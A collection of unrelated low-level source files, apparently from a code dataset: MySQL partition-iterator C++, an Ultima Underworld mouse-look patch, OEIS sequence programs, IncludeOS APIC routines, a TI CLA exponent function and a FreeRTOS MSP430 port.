Do the enumeration if
- the number of values to enumerate is comparable to the number of
partitions, or
- there are not many values to enumerate.
*/
if ((n_values > 2*total_parts) && n_values > MAX_RANGE_TO_WALK)
DBUG_RETURN(-1);
part_iter->field_vals.start= part_iter->field_vals.cur= a;
part_iter->field_vals.end= b;
part_iter->part_info= part_info;
part_iter->get_next= get_next_func;
DBUG_RETURN(1);
}
/*
PARTITION_ITERATOR::get_next implementation: enumerate partitions in range
SYNOPSIS
get_next_partition_id_range()
part_iter Partition set iterator structure
DESCRIPTION
This is implementation of PARTITION_ITERATOR::get_next() that returns
[sub]partition ids in [min_partition_id, max_partition_id] range.
The function conforms to partition_iter_func type.
RETURN
partition id
NOT_A_PARTITION_ID if there are no more partitions
*/
uint32 get_next_partition_id_range(PARTITION_ITERATOR* part_iter)
{
if (part_iter->part_nums.cur >= part_iter->part_nums.end)
{
if (part_iter->ret_null_part)
{
part_iter->ret_null_part= FALSE;
return 0; /* NULL always in first range partition */
}
// we do not have default partition in RANGE partitioning
DBUG_ASSERT(!part_iter->ret_default_part);
part_iter->part_nums.cur= part_iter->part_nums.start;
part_iter->ret_null_part= part_iter->ret_null_part_orig;
return NOT_A_PARTITION_ID;
}
else
return part_iter->part_nums.cur++;
}
/*
PARTITION_ITERATOR::get_next implementation for LIST partitioning
SYNOPSIS
get_next_partition_id_list()
part_iter Partition set iterator structure
DESCRIPTION
This implementation of PARTITION_ITERATOR::get_next() is special for
LIST partitioning: it enumerates partition ids in
part_info->list_array[i] (list_col_array[i*cols] for COLUMNS LIST
partitioning) where i runs over [min_idx, max_idx] interval.
The function conforms to partition_iter_func type.
RETURN
partition id
NOT_A_PARTITION_ID if there are no more partitions
*/
uint32 get_next_partition_id_list(PARTITION_ITERATOR *part_iter)
{
if (part_iter->part_nums.cur >= part_iter->part_nums.end)
{
if (part_iter->ret_null_part)
{
part_iter->ret_null_part= FALSE;
return part_iter->part_info->has_null_part_id;
}
if (part_iter->ret_default_part)
{
part_iter->ret_default_part= FALSE;
return part_iter->part_info->default_partition_id;
}
/* Reset partition for next read */
part_iter->part_nums.cur= part_iter->part_nums.start;
part_iter->ret_null_part= part_iter->ret_null_part_orig;
part_iter->ret_default_part= part_iter->ret_default_part_orig;
return NOT_A_PARTITION_ID;
}
else
{
partition_info *part_info= part_iter->part_info;
uint32 num_part= part_iter->part_nums.cur++;
if (part_info->column_list)
{
uint num_columns= part_info->part_field_list.elements;
return part_info->list_col_array[num_part*num_columns].partition_id;
}
return part_info->list_array[num_part].partition_id;
}
}
/*
PARTITION_ITERATOR::get_next implementation: walk over field-space interval
SYNOPSIS
get_next_partition_via_walking()
part_iter Partitioning iterator
DESCRIPTION
This implementation of PARTITION_ITERATOR::get_next() returns ids of
partitions that contain records with partitioning field value within
[start_val, end_val] interval.
The function conforms to partition_iter_func type.
RETURN
partition id
NOT_A_PARTITION_ID if there are no more partitioning.
*/
static uint32 get_next_partition_via_walking(PARTITION_ITERATOR *part_iter)
{
uint32 part_id;
Field *field= part_iter->part_info->part_field_array[0];
while (part_iter->field_vals.cur != part_iter->field_vals.end)
{
longlong dummy;
field->store(part_iter->field_vals.cur++, field->flags & UNSIGNED_FLAG);
if ((part_iter->part_info->is_sub_partitioned() &&
!part_iter->part_info->get_part_partition_id(part_iter->part_info,
&part_id, &dummy)) ||
!part_iter->part_info->get_partition_id(part_iter->part_info,
&part_id, &dummy))
return part_id;
}
part_iter->field_vals.cur= part_iter->field_vals.start;
return NOT_A_PARTITION_ID;
}
/* Same as get_next_partition_via_walking, but for subpartitions */
static uint32 get_next_subpartition_via_walking(PARTITION_ITERATOR *part_iter)
{
Field *field= part_iter->part_info->subpart_field_array[0];
uint32 res;
if (part_iter->field_vals.cur == part_iter->field_vals.end)
{
part_iter->field_vals.cur= part_iter->field_vals.start;
return NOT_A_PARTITION_ID;
}
field->store(part_iter->field_vals.cur++, field->flags & UNSIGNED_FLAG);
if (part_iter->part_info->get_subpartition_id(part_iter->part_info,
&res))
return NOT_A_PARTITION_ID;
return res;
}
/* used in error messages below */
static const char *longest_str(const char *s1, const char *s2,
const char *s3=0)
{
if (strlen(s2) > strlen(s1)) s1= s2;
if (s3 && strlen(s3) > strlen(s1)) s1= s3;
return s1;
}
/*
Create partition names
SYNOPSIS
create_partition_name()
out:out The buffer for the created partition name string
must be *at least* of FN_REFLEN+1 bytes
in1 First part
in2 Second part
name_variant Normal, temporary or renamed partition name
RETURN VALUE
0 if ok, error if name too long
DESCRIPTION
This method is used to calculate the partition name, service routine to
the del_ren_cre_table method.
*/
int create_partition_name(char *out, size_t outlen, const char *in1,
const char *in2, uint name_variant, bool translate)
{
char transl_part_name[FN_REFLEN];
const char *transl_part, *end;
DBUG_ASSERT(outlen >= FN_REFLEN + 1); // consistency! same limit everywhere
if (translate)
{
tablename_to_filename(in2, transl_part_name, FN_REFLEN);
transl_part= transl_part_name;
}
else
transl_part= in2;
if (name_variant == NORMAL_PART_NAME)
end= strxnmov(out, outlen-1, in1, "#P#", transl_part, NullS);
else if (name_variant == TEMP_PART_NAME)
end= strxnmov(out, outlen-1, in1, "#P#", transl_part, "#TMP#", NullS);
else
{
DBUG_ASSERT(name_variant == RENAMED_PART_NAME);
end= strxnmov(out, outlen-1, in1, "#P#", transl_part, "#REN#", NullS);
}
if (end - out == static_cast<ptrdiff_t>(outlen-1))
{
my_error(ER_PATH_LENGTH, MYF(0), longest_str(in1, transl_part));
return HA_WRONG_CREATE_OPTION;
}
return 0;
}
/**
Create subpartition name. This method is used to calculate the
subpartition name, service routine to the del_ren_cre_table method.
The output buffer size should be FN_REFLEN + 1(terminating '\0').
@param [out] out Created partition name string
@param in1 First part
@param in2 Second part
@param in3 Third part
@param name_variant Normal, temporary or renamed partition name
@retval true Error.
@retval false Success.
*/
int create_subpartition_name(char *out, size_t outlen,
const char *in1, const char *in2,
const char *in3, uint name_variant)
{
char transl_part_name[FN_REFLEN], transl_subpart_name[FN_REFLEN], *end;
DBUG_ASSERT(outlen >= FN_REFLEN + 1); // consistency! same limit everywhere
tablename_to_filename(in2, transl_part_name, FN_REFLEN);
tablename_to_filename(in3, transl_subpart_name, FN_REFLEN);
if (name_variant == NORMAL_PART_NAME)
end= strxnmov(out, outlen-1, in1, "#P#", transl_part_name,
"#SP#", transl_subpart_name, NullS);
else if (name_variant == TEMP_PART_NAME)
end= strxnmov(out, outlen-1, in1, "#P#", transl_part_name,
"#SP#", transl_subpart_name, "#TMP#", NullS);
else
{
DBUG_ASSERT(name_variant == RENAMED_PART_NAME);
end= strxnmov(out, outlen-1, in1, "#P#", transl_part_name,
"#SP#", transl_subpart_name, "#REN#", NullS);
}
if (end - out == static_cast<ptrdiff_t>(outlen-1))
{
my_error(ER_PATH_LENGTH, MYF(0),
longest_str(in1, transl_part_name, transl_subpart_name));
return HA_WRONG_CREATE_OPTION;
}
return 0;
}
uint get_partition_field_store_length(Field *field)
{
uint store_length;
store_length= field->key_length();
if (field->real_maybe_null())
store_length+= HA_KEY_NULL_LENGTH;
if (field->real_type() == MYSQL_TYPE_VARCHAR)
store_length+= HA_KEY_BLOB_LENGTH;
return store_length;
}
#endif
|
%ifndef EXE_LENGTH
%include "../UltimaPatcher.asm"
%include "include/uw1.asm"
%include "include/uw1-eop.asm"
%endif
[bits 16]
startPatch EXE_LENGTH, \
expanded overlay procedure: mouseLookOrMoveCursor
startBlockAt addr_eop_mouseLookOrMoveCursor
push bp
mov bp, sp
; bp-based stack frame:
%assign arg_mouseXDelta 0x06
%assign arg_mouseYDelta 0x04
%assign ____callerIp 0x02
%assign ____callerBp 0x00
push si
push di
cmp byte [dseg_isMouseLookEnabled], 0
jz moveCursor
changeLookDirection:
; mouse x changes heading
cmp word [bp+arg_mouseXDelta], 0
jz xZero
mov ax, word [bp+arg_mouseXDelta]
shl ax, 6
test byte [dseg_mouseLookOrientation], MOUSE_LOOK_INVERT_X
jz afterInvertX
neg ax
afterInvertX:
add word [dseg_heading], ax
xZero:
; mouse y changes pitch
cmp word [bp+arg_mouseYDelta], 0
jz yZero
mov ax, word [bp+arg_mouseYDelta]
shl ax, 7
test byte [dseg_mouseLookOrientation], MOUSE_LOOK_INVERT_Y
jz afterInvertY
neg ax
afterInvertY:
sub word [dseg_pitch], ax
cmp word [dseg_pitch], pitchBound
jle boundedAbove
mov word [dseg_pitch], pitchBound
boundedAbove:
cmp word [dseg_pitch], -pitchBound
jge boundedBelow
mov word [dseg_pitch], -pitchBound
boundedBelow:
yZero:
; update avatar heading for compass display (as at seg008:02A4)
les bx, [dseg_ps_avatarItem]
mov ax, [es:bx+2]
and ax, 0b1111110001111111
mov dx, [dseg_heading]
sar dx, 13
and dx, 0b0000000000000111
shl dx, 7
or ax, dx
mov [es:bx+2], ax
mov al, [es:bx+0x18]
and al, 0b11100000
mov dx, [dseg_heading]
sar dx, 8
and dl, 0b00011111
or al, dl
mov [es:bx+0x18], al
; signal that the 3d view needs to be redrawn
push 2
callFromOverlay setInterfaceRoutineBit
add sp, 2
mov ax, 1
jmp endProc
moveCursor:
; add X
mov ax, [dseg_cursorX]
add ax, [bp+arg_mouseXDelta]
; bound X
cmp ax, [dseg_cursorMinX]
jge xBoundedBelow
mov ax, [dseg_cursorMinX]
jmp xBounded
xBoundedBelow:
cmp ax, [dseg_cursorMaxX]
jle xBounded
mov ax, [dseg_cursorMaxX]
xBounded:
; set X
mov [dseg_cursorX], ax
; subtract Y (vertical coordinates are bottom-up in this game)
mov ax, [dseg_cursorY]
sub ax, [bp+arg_mouseYDelta]
; bound Y
cmp ax, [dseg_cursorMinY]
jge yBoundedBelow
mov ax, [dseg_cursorMinY]
jmp yBounded
yBoundedBelow:
cmp ax, [dseg_cursorMaxY]
jle yBounded
mov ax, [dseg_cursorMaxY]
yBounded:
; set Y
mov [dseg_cursorY], ax
xor ax, ax
endProc:
; ax == 0 if cursor was moved
; ax == 1 if look direction was changed
pop di
pop si
mov sp, bp
pop bp
retn
endBlockAt off_eop_mouseLookOrMoveCursor_end
endPatch
|
; A035337: Third column of Wythoff array.
; 3,11,16,24,32,37,45,50,58,66,71,79,87,92,100,105,113,121,126,134,139,147,155,160,168,176,181,189,194,202,210,215,223,231,236,244,249,257,265,270,278,283,291,299,304,312
mov $27,$0
mov $29,$0
add $29,2
mov $30,$0
lpb $29,1
mov $0,$27
sub $29,1
sub $0,$29
mov $23,$0
mov $25,2
lpb $25,1
clr $0,23
mov $0,$23
sub $25,1
add $0,$25
sub $0,1
mov $20,$0
mov $22,$0
lpb $22,1
mov $0,$20
sub $22,1
sub $0,$22
mov $16,$0
mov $18,2
lpb $18,1
mov $0,$16
sub $18,1
add $0,$18
sub $0,1
mov $2,$0
add $0,1
pow $0,2
add $2,3
lpb $0,1
add $0,1
mov $1,$0
mov $0,0
add $1,2
add $2,2
trn $1,$2
add $0,$1
lpe
mov $1,$2
mov $19,$18
lpb $19,1
mov $17,$1
sub $19,1
lpe
lpe
lpb $16,1
mov $16,0
sub $17,$1
lpe
mov $1,$17
mul $1,2
add $1,4
add $21,$1
lpe
mov $1,$21
mov $26,$25
lpb $26,1
mov $24,$1
sub $26,1
lpe
lpe
lpb $23,1
mov $23,0
sub $24,$1
lpe
mov $1,$24
sub $1,4
div $1,5
mul $1,3
add $1,2
add $28,$1
lpe
mov $1,$28
sub $1,1
mov $32,$30
mul $32,3
add $1,$32
|
SECTION FRAGMENT "Frag", ROM0[0] ; Uh oh
db $40
SECTION "Word", ROM0/*[6]*/
dw $78d5
|
; This file is a part of the IncludeOS unikernel - www.includeos.org
;
; Copyright 2015 Oslo and Akershus University College of Applied Sciences
; and Alfred Bratterud
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
USE32
global apic_enable
global spurious_intr
global lapic_send_eoi
global get_cpu_id
global get_cpu_eip
global get_cpu_esp
global reboot_os
global lapic_irq_entry
apic_enable:
push ecx
push eax
mov ecx, 1bh
rdmsr
bts eax, 11
wrmsr
pop eax
pop ecx
ret
get_cpu_id:
mov eax, 1
cpuid
shr ebx, 24
mov eax, ebx
ret
get_cpu_esp:
mov eax, esp
ret
get_cpu_eip:
mov eax, [esp]
ret
spurious_intr:
iret
lapic_send_eoi:
push eax
mov eax, 0xfee000B0
mov DWORD [eax], 0
pop eax
ret
reboot_os:
; load bogus IDT
lidt [reset_idtr]
; 1-byte breakpoint instruction
int3
reset_idtr:
dw 400h - 1
dd 0
lapic_irq_entry:
call lapic_send_eoi
iret
|
; A094628: Erroneous version of A052218.
; 4,13,40,130,400,1300,4000,13000,40000,130000,400000,1300000,4000000,13000000,40000000,130000000,400000000,1300000000,4000000000,13000000000,40000000000,130000000000,400000000000,1300000000000
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,4663 ; Powers of 3 written in base 9.
add $1,$2
lpe
mul $1,9
add $1,4
mov $0,$1
|
;;#############################################################################
;; FILE: CLAexp.asm
;;
;; DESCRIPTION: CLA Exponent function
;;
;; Group: C2000
;; Target Family: C28x+CLA
;;
;;#############################################################################
;; $TI Release: CLA Math Library 4.02.02.00 $
;; $Release Date: Oct 18, 2018 $
;; $Copyright: Copyright (C) 2018 Texas Instruments Incorporated -
;; http://www.ti.com/ ALL RIGHTS RESERVED $
;;#############################################################################
.cdecls C,LIST,"CLAmath.h"
.include "CLAeabi.asm"
;;----------------------------------------------------------------------------
;; Description:
;; Step(1): Calculate absolute of x
;;
;; Step(2): Identify the integer and mantissa of the input
;;
;; Step(3): Obtain the e^integer(x) from the table
;;
;; Step(4): Calculate the value of e^(mantissa)by using the
;; polynomial approx = 1 + x*(1+x*0.5(1+(x/3)(1+x/4(1+x/5*(1+x/6*(1+x/7))))))
;;
;; Step(5): The value of e^x is the product of results from (3)&(4)
;;
;;
;; Benchmark: Cycles = 41
;; Instructions = 41
;;
;; Scratchpad Usage: (Local Function Scratchpad Pointer (SP))
;;
;; |_______|<- exponent temporary variable (SP+2)
;; |_______|<- MR3 (SP+0)
;;
;;----------------------------------------------------------------------------
.def _CLAexp
.sect "Cla1Prog:_CLAexp"
.align 2
.def __cla_CLAexp_sp
__cla_CLAexp_sp .usect ".scratchpad:Cla1Prog:_CLAexp",4,0,1
_CLAexp:
.asmfunc
.asg __cla_CLAexp_sp + 0, _save_MR3
.asg __cla_CLAexp_sp + 2, _exp_tmp
; Context Save
MMOV32 @_save_MR3, MR3
; The input argument fVal is refered to as X
; save input argument on scratchpad
MMOV32 @_exp_tmp,MR0
; Step 1
MMOV32 MR3,MR0 ; Load argument into MR3
MABSF32 MR3,MR3 ; LOAD |X| TO MR3
; Step 2
MF32TOI32 MR0,MR3 ; MR0 = INTEGER(X)
MFRACF32 MR1,MR3 ; MR1 = MANTISSA(X)
; Step 3
MADD32 MR2,MR0,MR0
MMOV16 MAR1,MR2,#_CLAExpTable
; Step 3
MMOV32 MR2,@_CLAINV7 ; MR2 = 1/7
MMPYF32 MR3,MR2,MR1 ; MR3 = Xm/7
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 =(1+Xm/7)
MMOV32 MR2,@_CLAINV6 ; MR2 = 1/6
|| MMPYF32 MR3,MR1,MR3 ; MR3 = Xm(1+Xm/7)
MMPYF32 MR3,MR3,MR2 ; MR3 = Xm(1+Xm/7)/6
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 = 1+(Xm/6)*(1+Xm/7)
|| MMOV32 MR0,*MAR1 ; MR0 = e^(INTEGER(X))
MMOV32 MR2,@_CLAINV5 ; MR2 = .2
|| MMPYF32 MR3,MR1,MR3 ; MR3 = Xm(1+Xm/6*(1+Xm/7))
MMPYF32 MR3,MR3,MR2 ; MR3 = Xm(1+Xm/6*(1+Xm/7))/5
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 = 1+(Xm/5)*(1+Xm/6*(1+Xm/7))
MMOV32 MR2,@_CLAINV4 ; MR2 = .25
|| MMPYF32 MR3,MR1,MR3 ; MR3 = Xm(1+Xm/5*(1+Xm/6*(1+Xm/7)))
MMPYF32 MR3,MR3,MR2 ; MR3 = Xm(1+Xm/5*(1+Xm/6*(1+Xm/7)))/4
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 = 1+(Xm/4)*(1+Xm/5*(1+Xm/6*(1+Xm/7)))
MMOV32 MR2,@_CLAINV3 ; MR2 = .3333333
|| MMPYF32 MR3,MR1,MR3 ; MR3 = Xm(1+(Xm/4)*(1+Xm/5)*(1+Xm/6*(1+Xm/7)))
MMPYF32 MR3,MR3,MR2 ; MR3 = Xm(1+(Xm/4)*(1+Xm/5)*(1+Xm/6*(1+Xm/7)))*0.333333
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 = 1+(Xm/3)*(1+(Xm/4)*(1+Xm/5*(1+Xm/6*(1+Xm/7))))
MMOV32 MR2,@_CLAINV2 ; MR2 = .5
|| MMPYF32 MR3,MR1,MR3 ; MR3 = Xm(1+(Xm/3)*(1+(Xm/4)*(1+Xm/5*(1+Xm/6*(1+Xm/7)))))
MMPYF32 MR3,MR3,MR2 ; MR3 = Xm(1+(Xm/3)*(1+(Xm/4)*(1+Xm/5*(1+Xm/6*(1+Xm/7)))))*0.5
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 = 1+(1+(Xm/3)*(1+(Xm/4)*(1+Xm/5*(1+Xm/6*(1+Xm/7)))))Xm/2
MMPYF32 MR3,MR3,MR1 ; MR3 = Xm(1+(1+(Xm/3)*(1+(Xm/4)*(1+Xm/5*(1+Xm/6*(1+Xm/7)))))Xm/2)
|| MMOV32 MR2,@_CLAINV1 ; MR2 = 1
MADDF32 MR3,MR3,MR2 ; MR3 = e^(MANTISSA)= 1+Xm(1+(1+(Xm/3)*(1+(Xm/4)*(1+Xm/5*(1+Xm/6)*(1+Xm/7))))Xm/2)
; Step 4
MMPYF32 MR3,MR3,MR0 ; MR3 = e^(MANTISSA) x e^(INTEGER(X))
MMOV32 MR1,MR3,UNC
; Calculation of e^-x
MEINVF32 MR2,MR1 ; MR2 = Ye = Estimate(1/Den)
MMPYF32 MR3,MR2,MR1 ; MR3 = Ye*Den
MSUBF32 MR3,#2.0,MR3 ; MR3 = 2.0 - Ye*Den
MMPYF32 MR2,MR2,MR3 ; MR2 = Ye = Ye*(2.0 - Ye*Den)
MMPYF32 MR3,MR2,MR1 ; MR3 = Ye*Den
MSUBF32 MR3,#2.0,MR3 ; MR3 = 2.0 - Ye*Den
MMPYF32 MR2,MR2,MR3 ; MR2 = Ye = Ye*(2.0 - Ye*Den)
|| MMOV32 MR0,@_exp_tmp ; MR2 = X (set/clear NF,ZF)
; Context Restore and Final Operations
MRCNDD UNC
MMOV32 MR1,MR2,LT ; update e^X with inverse value
MMOV32 MR0,MR1 ; Store result in MR0
MMOV32 MR3,@_save_MR3
.unasg _save_MR3
.unasg _exp_tmp
.endasmfunc
;; End of File
|
;
;/*
; FreeRTOS V8.0.0 - Copyright (C) 2014 Real Time Engineers Ltd.
; All rights reserved
;
;
; ***************************************************************************
; * *
; * FreeRTOS tutorial books are available in pdf and paperback. *
; * Complete, revised, and edited pdf reference manuals are also *
; * available. *
; * *
; * Purchasing FreeRTOS documentation will not only help you, by *
; * ensuring you get running as quickly as possible and with an *
; * in-depth knowledge of how to use FreeRTOS, it will also help *
; * the FreeRTOS project to continue with its mission of providing *
; * professional grade, cross platform, de facto standard solutions *
; * for microcontrollers - completely free of charge! *
; * *
; * >>> See http://www.FreeRTOS.org/Documentation for details. <<< *
; * *
; * Thank you for using FreeRTOS, and thank you for your support! *
; * *
; ***************************************************************************
;
;
; This file is part of the FreeRTOS distribution.
;
; FreeRTOS is free software; you can redistribute it and/or modify it under
; the terms of the GNU General Public License (version 2) as published by the
; Free Software Foundation AND MODIFIED BY the FreeRTOS exception.
; >>>NOTE<<< The modification to the GPL is included to allow you to
; distribute a combined work that includes FreeRTOS without being obliged to
; provide the source code for proprietary components outside of the FreeRTOS
; kernel. FreeRTOS is distributed in the hope that it will be useful, but
; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
; more details. You should have received a copy of the GNU General Public
; License and the FreeRTOS license exception along with FreeRTOS; if not it
; can be viewed here: http://www.freertos.org/a00114.html and also obtained
; by writing to Richard Barry, contact details for whom are available on the
; FreeRTOS WEB site.
;
; 1 tab == 4 spaces!
;
; http://www.FreeRTOS.org - Documentation, latest information, license and
; contact details.
;
; http://www.SafeRTOS.com - A version that is certified for use in safety
; critical systems.
;
; http://www.OpenRTOS.com - Commercial support, development, porting,
; licensing and training services.
;*/
; * The definition of the "register test" tasks, as described at the top of
; * main.c
.include data_model.h
.global xTaskIncrementTick
.global vTaskSwitchContext
.global vPortSetupTimerInterrupt
.global pxCurrentTCB
.global usCriticalNesting
.def vPortPreemptiveTickISR
.def vPortCooperativeTickISR
.def vPortYield
.def xPortStartScheduler
;-----------------------------------------------------------
portSAVE_CONTEXT .macro
;Save the remaining registers.
pushm_x #12, r15
mov.w &usCriticalNesting, r14
push_x r14
mov_x &pxCurrentTCB, r12
mov_x sp, 0( r12 )
.endm
;-----------------------------------------------------------
portRESTORE_CONTEXT .macro
mov_x &pxCurrentTCB, r12
mov_x @r12, sp
pop_x r15
mov.w r15, &usCriticalNesting
popm_x #12, r15
pop.w sr
ret_x
.endm
;-----------------------------------------------------------
;*
;* The RTOS tick ISR.
;*
;* If the cooperative scheduler is in use this simply increments the tick
;* count.
;*
;* If the preemptive scheduler is in use a context switch can also occur.
;*/
.text
.align 2
vPortPreemptiveTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
call_x #vTaskSwitchContext
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.align 2
vPortCooperativeTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Manual context switch called by the portYIELD() macro.
;
.align 2
vPortYield: .asmfunc
; The sr needs saving before it is modified.
push.w sr
; Now the SR is stacked we can disable interrupts.
dint
nop
; Save the context of the current task.
portSAVE_CONTEXT
; Select the next task to run.
call_x #vTaskSwitchContext
; Restore the context of the new task.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Start off the scheduler by initialising the RTOS tick timer, then restoring
; the context of the first task.
;
.align 2
xPortStartScheduler: .asmfunc
; Setup the hardware to generate the tick. Interrupts are disabled
; when this function is called.
call_x #vPortSetupTimerInterrupt
; Restore the context of the first task that is going to run.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.